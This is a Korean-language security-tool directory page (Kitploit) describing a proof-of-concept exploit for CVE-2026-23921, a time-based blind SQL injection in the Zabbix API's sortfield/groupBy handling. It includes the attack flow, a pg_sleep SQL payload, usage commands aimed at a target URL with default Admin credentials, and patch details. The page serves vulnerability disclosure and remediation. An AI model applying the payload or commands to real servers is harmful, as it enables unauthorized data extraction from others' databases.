Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23921 — CVE-2026-23921에 대한 개념 증명 익스플로잇으로, sortfield 파라미터를 통해 Zabbix API에서 발생하는 시간 기반 블라인드 SQL 인젝션으로, PostgreSQL 및 MySQL 백엔드에서 데이터 추출을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/qucklecrabik/cve-2026-23921
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

CVE-2026-23921에 대한 개념 증명 익스플로잇으로, sortfield 파라미터를 통해 Zabbix API에서 발생하는 시간 기반 블라인드 SQL 인젝션으로, PostgreSQL 및 MySQL 백엔드에서 데이터 추출을 가능하게 합니다.

저장소 보기
111일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-23921 — Zabbix 시간 기반 블라인드 SQL 인젝션

영향받는 버전: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 높음
유형: sortfield 파라미터를 통한 시간 기반 블라인드 SQL 인젝션
인증 필요: 예 (모든 API 사용자, Super Admin은 권한 조인을 회피함)

취약점

레거시 Zabbix API 서비스(host.get, trigger.get, item.get 등)는 zbx_array_merge()를 통해 선언되지 않은 groupBy 파라미터를 허용합니다. CApiService::applyQuerySortOptions()에서 groupBy 배열이 sortfield를 검증하는 데 사용되는 하드코딩된 화이트리스트를 대체합니다. 공격자는 동일한 SQL 페이로드를 와 양쪽에 전달합니다. 검증은 공격자가 제어하는 목록에 대해 통과되고, 페이로드는 이스케이프 없이 에 삽입됩니다.

groupBy
sortfield
ORDER BY

공격 흐름

  1. 공격자가 countOutput: true와 함께 groupBy: ["hostid,(SELECT IF(...))--"] 및 sortfield: "hostid,(SELECT IF(...))--"를 전송
  2. zbx_array_merge가 선언되지 않은 groupBy 키를 보존
  3. applyQuerySortOptions가 groupBy로부터 화이트리스트를 구성 → 검증 통과
  4. applyQuerySortField가 페이로드를 ORDER BY에 연결
  5. createSelectQueryFromParts가 이스케이프 없이 최종 SQL을 구성

결과 SQL (PostgreSQL)

root@kitploit:~
SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

사용법

root@kitploit:~
# PostgreSQL 백엔드 (기본값)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# MySQL 백엔드
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# 기존 인증 토큰
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# 임의 표현식 추출
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# 다른 API 메서드 사용
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

수정

Zabbix 7.0.22 / 7.2.15 / 7.4.6 이상으로 업그레이드하십시오.

패치는 array_merge($options['groupBy'], ...)를 array_intersect($this->sortColumns, $options['groupBy'])로 대체하여 공격자가 제공한 값이 화이트리스트에 절대 들어가지 않도록 합니다. 심층 방어로 추가적인 is_string() 및 is_array() 타입 검사가 추가되었습니다.

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용하십시오.

도구 다운로드